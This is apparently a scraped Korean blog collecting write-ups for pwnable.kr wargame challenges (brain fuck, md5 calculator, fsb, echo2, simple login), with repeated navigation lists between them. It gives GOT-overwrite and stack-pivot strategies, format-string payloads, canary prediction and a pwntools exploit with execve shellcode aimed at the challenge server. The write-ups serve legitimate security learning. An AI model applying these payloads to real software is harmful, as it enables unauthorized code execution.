2018.8.25.
어렵다 어려워
+ [Grotesque] aeg
+ [Grotesque] sudoku
+ [Grotesque] rootkit
+ [Grotesque] dos4fun
+ [Hacker's Secret] exploitable
+ [Rookiss] loveletter
'Pwnable.kr' 카테고리의 다른 글
내맘대로 Heap 관련 취약점 정리 (0) | 2018.02.03 |
---|
2018.8.25.
어렵다 어려워
+ [Grotesque] aeg
+ [Grotesque] sudoku
+ [Grotesque] rootkit
+ [Grotesque] dos4fun
+ [Hacker's Secret] exploitable
+ [Rookiss] loveletter
내맘대로 Heap 관련 취약점 정리 (0) | 2018.02.03 |
---|
한문제 한문제 겨우겨우 풀고 있습니다...허허
이번 문제 풀이를 위한 의식의 흐름은
- DOSBox를 이용한 동적디버깅환경 구축
- 다양한 삽질? 을 통한 취약점 확인
- Dos opcode 분석을 통한 쉘코드 작성(사실 작성이라기보다 코드 재활용이라고 해야겠습니다)
인 것 같네요.
[pwnable.kr] sudoku - 111pt (0) | 2018.02.19 |
---|---|
[pwnable.kr] AEG - 550pt (0) | 2018.02.11 |
ANGR로 AEG를 풀어보자 (0) | 2018.01.25 |
[pwnable.kr] maze - 150pt (0) | 2017.12.23 |
막상 풀고 나서 보니까 별거 없는데 풀때는 왜그렇게 어려운지 모르겠습니다.
몇주만에 푼건지...
대충 정리해보자면
1. 생성된 바이너리 address 및 중요값 추출.
2. ANGR을 이용해 키값 확인
3. EIP 컨트롤, 취약점 공격...인데 아무래도 쓸 수 있는 버퍼의 크기가 크다보니 payload를 맘대로 구성하기 좋음
4. 실행권한 부여
5. /bin/sh 실행
이런거였겠죠?
[pwnable.kr] dos4fun - 444pt (5) | 2018.03.14 |
---|---|
[pwnable.kr] sudoku - 111pt (0) | 2018.02.19 |
ANGR로 AEG를 풀어보자 (0) | 2018.01.25 |
[pwnable.kr] maze - 150pt (0) | 2017.12.23 |
문제 푸느라, 사실 삽질하느라 날아간 일요일을 기리며 허허...
주말저녁에 문제 풀고 writeup 쓰고 있는게 싱숭생숭하면서도 보람차네요(사실 풀고나면 별거 아니지만요)
======================================================
보호 기법 확인(checksec)
CANARY, NX 확인, 서버 환경 상 ASLR enable.
프로그램 동작 분석
x86 binary, 실행 시 사용자의 입력을 받고 프로그램 종료.
겉보기엔 모르니 리버싱을 해봅시다
바이너리 리버싱
main() 에서 사용자 입력을 받아 한 글자씩 파싱. do_brainfuck() 함수 내부에서 각 case에 알맞는 기능을 처리
여기서 p 변수를 살펴보면 main() 에서 p = &tape 로 초기화하고 이때 값은 0x804a0a0 .
이 함수에서 p 의 값을 이용해 ++, --, putchar ... 등등 처리를 해주므로 이것을 이용해 볼 수 있겠다.
Exploit 전략 구성
0x804a0a0 값을 기준으로 >, < 를 이용해 메모리 값을 변경할 수 있고 getchar(), putchar() 명령을 사용할 수 있다.
다만 BOF나 다른 취약점이 아니므로 stack을 마음대로 바꾸지 못하고, parameter로 넘어가는 값을 쉽게 조작할 수 없다.
system(/bin/sh) 를 실행하기 위해 어떻게 할까
- puts() 이용 ?
puts의 GOT를 system으로 덮어쓰고 "[ and ] not supported." 를 overwrite 하려고 했는데 당연하게도 위 string의 위치는 쓰기 권한 없음
위 영역에 어떻게 접근해서 써야하나 고민 많이 했는데 당연히 안됨. 실패.
- putchar() 이용 ?
위와 비슷하게 _putchar의 GOT를 system으로 덮고 파라미터로 넘어가는 ds:p를 조작해 /bin/sh string 주소를 넘김
하지만 넘기는 값이 byte ptr [eax] 이므로 메모리 주소가 정상적으로 넘어가지 않음.
코드를 좀더 꼼꼼히 봤어야 했는데.. 실패.
- setvbuf() 이용 !
main() , do_brainfuck() 에서 이용하는 함수 중 첫번째 parameter를 control할 수 있는 함수가 뭐가 있을까 살펴보다가
setvbuf 호출 시 첫번째 parameter는 stdin 으로
해당 값은 bss 영역으로 Read/Write 권한이 있다.
이를 이용해 다음과 같이 system(/bin/sh) 을 위한 전략을 구상했다.
1 - setvbuf() GOT 를 system() 으로 overwrite. ( 문제에서 libc도 제공하므로 두 함수 사이의 offset 계산 가능 )
2 - stdin overwrite
0x804a040 : 0x804a044
0x804a044 : /bin/sh\x00
3 - puts() GOT 를 main() 내 setvbuf() 호출하는 코드 주소로 overwrite ( 위의 경우는 0x80486b9 )
4 - '[' 입력으로 puts() 호출.
정상적으로 쉘 획득하는 것을 확인함.
공격 코드
[pwnable.kr] loveletter - 50pt (0) | 2018.09.07 |
---|---|
[pwnable.kr] crypto1 - 120pt (0) | 2017.05.20 |
[pwnable.kr] md5 calculator - 200pt (0) | 2017.01.02 |
[pwnable.kr] fsb - 20pt (0) | 2016.11.17 |
[pwnable.kr] echo2 - 50pt (0) | 2016.11.10 |
정성 들여 쓴글이 다 날라갔습니다 허허허
인생은 참 무엇인지... 최소한의 기록만 남겨야겠습니다.
======================================================
보호 기법 확인(checksec)
CANARY, NX 확인, 서버 환경 상 ASLR enable.
프로그램 동작 분석
x86 binary 로 사용자에게 captcha를 입력 받음
맞을 경우 base64 encoding 된 값을 입력 받아 md5 값 계산, 출력 후 프로그램 종료
취약점 탐색
사용자 입력 부분을 이것 저것 살펴보다가 base64 값 입력 부분에서 stack smashing 이 나는 것을 확인
memory leak을 해 canary를 확인해 BOF 하거나, 아니면 다른 취약점을 찾아야 함
binary를 리버싱해보면 다음과 같이 canary 와 현재 time 값 seed 의 rand() 값을 이용해 captcha를 생성하는 것을 확인할 수 있음
즉 captcha 값과 captcha 생성 시 time seed 값을 알 수 있으면 역으로 canary 값을 계산할 수 있음
문제 설명의 hint를 보면
hint : this service shares the same machine with pwnable.kr web service
pwnable.kr 웹서비스 요청을 통해 시간을 알 수 있다
Canary 계산
Canary 계산을 위해 unix timestamp 값과 captcha 를 입력 받아 계산해주는 코드를 짰다. 대~~충
python 코드에서 위 프로그램 호출 후 return 된 값을 & 0xffffffff 해 4바이트 처리를 해 줌
EIP control 시도
Canary 및 return address 위치 확인을 위해 gdb로 메모리 분석
A*512 를 base64 encoding 후 입력 했을 때
gdb-peda$ x/16wx $ebp-0x1c 0xbfffee9c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffeeac: 0x464b5000 0xb7da4000 0x00000000 0xbfffeee8 ( Canary ) 0xbfffeebc: 0x08049174 0x08049314 0xbfffeed8 0x00000001 (Return addr) |
Payload = A * 512 + Canary 4byte + A*12 + Return addr 4byte
위 Payload 를 base64 encoding 해 입력하면 정상적으로 EIP control 이 될 것이고 로컬 테스트 완료 함
/bin/sh 실행 방법 구상
EIP control 은 됐고... 쉘은 어떻게 잡아야될 지 생각해보자
ASLR이 적용되어 있으므로
1. Memory leak -> libc base addr 계산 -> system(/bin/sh) 실행
2. 고정된 주소(code, bss .... ) 사용
둘 중 하나의 방법을 사용해야 할텐데 main() 함수를 보면 다음과 같이 system() 을 call 하는 곳이 있다
이제 /bin/sh 문자열만 메모리에 올리고 주소만 알면 되는건데, 변수를 살펴보면 다음과 같이 고정된 주소를 사용하는 g_buf가 있다
근데 g_buf에 들어가는 값은 base64 encoding된 값이고, decoding된 값은 스택에 들어가서 주소가 유동적임
- "/bin/sh\n00" + encoded value 로 payload를 구성해 보내볼까?
: base64 decoding 이 정상적으로 될 리 없음.
- 그냥 memory leak 할까...
: leak 없이 해보려고 했는데 약간 아쉬움?
- 설마 base64 encoding해 /bin/sh 문자열이 될 수 있나?
: /bin/sh 로 디코딩 시 패딩 에러... 발생해 /bin//sh 로 사용해 정상적으로 인코딩, 디코딩 되는 것을 확인함
: base64 인코딩으로 NULL은 만들지 못하지만 Payload 제일 마지막에 붙이면 NULL 삽입 없이 되지 않을까
결과적으로
Payload = A * 512 + Canary 4byte + addr_of_system_call + addr_of_/bin//sh + 0xfdb8a7fffb21
로 Payload 구성, base64 encoding된 값을 입력해 정상적으로 쉘 획득 함
공격 코드
[pwnable.kr] crypto1 - 120pt (0) | 2017.05.20 |
---|---|
[pwnable.kr] brain fuck - 150pt (0) | 2017.04.16 |
[pwnable.kr] fsb - 20pt (0) | 2016.11.17 |
[pwnable.kr] echo2 - 50pt (0) | 2016.11.10 |
[pwnable.kr] simple login - 50pt (0) | 2016.08.23 |
바이너리 보안기법 검사(checksec.sh)
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ./fsb |
소스코드 확인
main() 에서 /dev/urandom을 이용해 8바이트 읽고 이것을 key 값으로 사용한다
이후 alloca를 이용해 0x12345 & key 만큼 메모리 할당하는데 fsb를 이용해 직접적으로 key 값에 접근하짐 못하게 하기위한 것 같다.
뭐 아무튼 fsb() 함수 내에서 다음과 같은 코드로 인해 format string bug가 발생
for(i=0; i<4; i++){ printf("Give me some format strings(%d)\n", i+1); read(0, buf, 100); printf(buf); } |
gdb를 이용해 fsb 발생 전, 후 스택 상태를 살펴보자
GDB를 이용한 스택 값 확인
fsb() 에서 printf 하기 직전에 break point 설정
(gdb) b *fsb+220 Breakpoint 2, 0x08048610 in fsb () (gdb) x/64wx $esp 0xbfa734d0: 0x0804a100 0x0804a100 0x00000064 0xb7734b48 0xbfa734e0: 0x00000001 0x00000000 0xbfa73504 0x0804a024 0xbfa734f0: 0x0804828c 0x08048870 0x00000000 0x00000000 0xbfa73500: 0xbfa7377c 0xbfa75fd1 0xbfa73520 0xbfa73524 0xbfa73510: 0xbfa735c4 0xbfa73590 0xbfa73578 0x08048791 0xbfa73520: 0x00000000 0x00000000 0x00000008 0xbfa73578 0xbfa73530: 0xbfa73590 0x0804a060 0xb764b4ec 0x0804874e 0xbfa73540: 0x00000003 0x0804a060 0x00000008 0x080483bd 0xbfa73550: 0xbfa75176 0x0000002f 0x08049ff4 0x00000010 0xbfa73560: 0x080487a0 0x08048480 0x00000000 0x00000003 0xbfa73570: 0xbfa73590 0xb771a000 0x00000000 0xb7589a83 0xbfa73580: 0x080487a0 0x00000000 0x00000000 0xb7589a83 |
소스코드 상 사용자 입력은 data 영역(변수 buf)로 들어가기 때문에 스택에서 사용할 수 없다
하지만 위에서 빨간색으로 표시한 것과 같이
i) 스택의 특정 위치를 가리키는 포인터가 저장되어 있고
ii) 위 위치에 접근 가능하기 때문에
Double staged fsb를 사용할 수 있다
그럼 어디 메모리 주소를 쓰고 그 주소를 뭘로 덮을까
objdump 를 이용해 바이너리의 GOT 주소를 확인
root@ubuntu:/home/u32/Desktop/pwnable/rookiss/fsb# objdump -R ./fsb ./fsb: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT read 0804a004 R_386_JUMP_SLOT printf ... (참고용) (gdb) x/wx 0x804a004 0x804a004 <printf@got.plt>: 0xb75bd280 |
for loop를 돌면서 printf를 호출해주기때문에 printf의 GOT 주소를 덮어주면 되겠고
control flow hijacking 해서 뛸 주소는
0x080486ab <+375>: mov -0x24(%ebp),%eax 0x080486ae <+378>: movl $0x0,0x8(%esp) 0x080486b6 <+386>: lea -0x24(%ebp),%edx 0x080486b9 <+389>: mov %edx,0x4(%esp) 0x080486bd <+393>: mov %eax,(%esp) 0x080486c0 <+396>: call 0x8048450 <execve@plt> |
fsb() 내에서 execve(/bin/sh) 해주는 부분으로 뛰면 되겠다.
정리해보면
i) 첫번째 fsb로 스택 내 0x804a004 값 쓰기
ii) 두번째 fsb로 0x804a004 값을 0x080486ab 로
(여기서 먼저 쓸 값보다 두번째 쓸 값이 작으므로 fsb 한번에 두개 값을 써야 하면 성가셔질뻔? 두번째 fsb사이의 값을 엄청 크게해서 0x1080486ab 로 만들어야하나? 어차피 여기선 4번 쓸 수 있기때문에 편함)
Exploit 진행 및 결과 확인
Give me some format strings(1) %134520836c%14$n ... Give me some format strings(2) %134514347c%20$n ... $ |
[pwnable.kr] crypto1 - 120pt (0) | 2017.05.20 |
---|---|
[pwnable.kr] brain fuck - 150pt (0) | 2017.04.16 |
[pwnable.kr] md5 calculator - 200pt (0) | 2017.01.02 |
[pwnable.kr] echo2 - 50pt (0) | 2016.11.10 |
[pwnable.kr] simple login - 50pt (0) | 2016.08.23 |
FSB 발생 확인
hello abcd AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x AAAA 250005f be7d2790 38252078 38252078 be9ed700 41414141 goodbye abcd |
(gdb) x/64wx $rsp-0x20 0x7fffffffdc10: 0xffffdd70 0x00000020 0xffffdc30 0x00007fff 0x7fffffffdc20: 0xffffdc50 0x00007fff 0x00400858 0x00000000 0x7fffffffdc30: 0x61616161 0x2e783825 0x2e783825 0x2e783825 0x7fffffffdc40: 0x2e783825 0x2e783825 0x2e783825 0x00783825 0x7fffffffdc50: 0xffffdc90 0x00007fff 0x00400acb 0x00000000 0x7fffffffdc60: 0xffffdc90 0x00007fff 0x00000000 0x00000002 0x7fffffffdc70: 0x41414141 0x00000000 0x004006b0 0x00000000 0x7fffffffdc80: 0xffffdd70 0x00007fff 0x00000000 0x00000000 0x7fffffffdc90: 0x00000000 0x00000000 0xf7a36ec5 0x00007fff 0x7fffffffdca0: 0x00000000 0x00000000 0xffffdd78 0x00007fff |
위와 같이 0x7fffffffdc50 메모리 번지에 스택의 주소가 들어있는 것을 확인해볼 수 있고 해당 주소에서 0x20 만큼을 빼면 우리가 원하는 메모리의 주소를 구할 수 있다.(물론 GDB에서 출력한 메모리 주소는 변동되지만 offset은 일정하므로)
Exploit 코드
from pwn import * shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56" shellcode+="\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #sh=process("/home/u64/Desktop/echo2/echo2_ori") sh=remote("pwnable.kr",9011) sh.recvuntil(":") sh.sendline(shellcode) print sh.recvuntil("> ") sh.sendline("2") sh.recvline() sh.sendline("%x%x%x%x%x%x%x%x%xS%lx") addr = sh.recvline() addr = addr[addr.index("S")+1:].strip() name=int(addr,16)-0x20 sh.recvuntil(">") sh.sendline("4") sh.sendline("n") sh.recvuntil(">") sh.sendline("3") sh.recvline() sh.sendline("A"*24+p64(name)) sh.interactive() |
[pwnable.kr] crypto1 - 120pt (0) | 2017.05.20 |
---|---|
[pwnable.kr] brain fuck - 150pt (0) | 2017.04.16 |
[pwnable.kr] md5 calculator - 200pt (0) | 2017.01.02 |
[pwnable.kr] fsb - 20pt (0) | 2016.11.17 |
[pwnable.kr] simple login - 50pt (0) | 2016.08.23 |
바이너리 보안기법 검사 (checksec.sh)
# /home/u32/Desktop/checksec.sh --file ./login RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./login |
NX, Stack canary enable 확인
바이너리 리버싱
소스코드를 보면 Base64Decode한 값을 input으로 memcpy 하는 것을 확인할 수 있음.
여기서 auth(v6) 함수의 return 값이 1이면 correct() 함수 실행
correct() 함수 내부는
input의 4바이트 값이 0xDEADBEEF 와 같으면 /bin/sh 실행하게 됨.
if 조건을 확인하는 auth() 함수는 아래와 같으며 함수를 대충 살펴보면 md5 계산한 해쉬 값이 f87... 와 같으면 True를 리턴하는 것 같다.
calc_md5, base64 decode 함수 따라가보면서 값을 tracking 해보려다가 다음과 같이 같은 값을 넣어도 hash 값이 계속 변동되는 것을 확인했다
즉 이 hash 값을 비교해서 correct() 로 넘어가는 게 의미 없는 상황이 됨. 어떻게 /bin/sh를 실행시킬까
여기서 AAAABBBBCCCC 12바이트를 인코딩한 QUFBQUJCQkJDQ0ND 를 입력값으로 넣으면 프로그램이 Segmentation fault를 뜨면서 죽는다.
Program received signal SIGSEGV, Segmentation fault. 0x08049424 in main () |
Error 분석(main() 0x08049424)
Segmentation fault 시 register 값 확인
Breakpoint 2, 0x0804941f in main () (gdb) i r eax 0x0 0 ecx 0x32 50 edx 0x80da684 135112324 ebx 0x80481d0 134513104 esp 0xbfffee60 0xbfffee60 ebp 0x43434343 0x43434343 esi 0x0 0 edi 0x811b00c 135376908 eip 0x804941f 0x804941f <main+274> eflags 0x200297 [ CF PF AF SF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 |
위 레지스터 값에서 보이는 것과 같이 12바이트 중 마지막 4바이트 값이 ebp로 설정된다는 것을 알 수 있다.
이 상황에서 Segmentation fault 뜨는 원인을 찾아보면 leave; ret;은 즉
leave
mov esp,ebp
pop ebp
ret
pop eip
jmp eip
과 같다.
잘못된 ebp의 값이 esp로 들어간 후 pop 명령을 수행하게 되므로 문제가 생기는 상황.
정리해보면
1. ebp를 통한 esp 컨트롤 가능.
2. 2번째 pop 명령 결과가 eip로 들어감.
이 두가지 조건을 이용해 조작가능한 메모리공간 8바이트(dummy 4바이트 + EIP 4바이트)가 추가로 있으면 EIP 컨트롤이 가능할 수 있다
바이너리가 돌고 있는 서버는 ASLR이 적용되어있으므로 스택의 임의주소는 사용하지 못함
main 함수의 코드를 다시 보면 input은 전역 변수이므로 메모리 주소(0x0811eb40)가 고정임을 알 수 있다
Exploit을 위한 입력값은 다음과 같이 구성한다.
AAAA + 0x08049278 + 0x0811eb40
1. 2. 3.
1. dummy 4바이트
2. main() 에서 /bin/sh를 실행하는 주소
3. input 메모리 시작 주소
little endian 이므로 이를 고려하고 base64 encoding 해주면 결과값(QUFBQXiSBAhA6xEI)을 구할 수 있다
(pwntools 이용해서 깔끔하게 코드 짜려다가 다음 기회로...)
결과 확인
[pwnable.kr] crypto1 - 120pt (0) | 2017.05.20 |
---|---|
[pwnable.kr] brain fuck - 150pt (0) | 2017.04.16 |
[pwnable.kr] md5 calculator - 200pt (0) | 2017.01.02 |
[pwnable.kr] fsb - 20pt (0) | 2016.11.17 |
[pwnable.kr] echo2 - 50pt (0) | 2016.11.10 |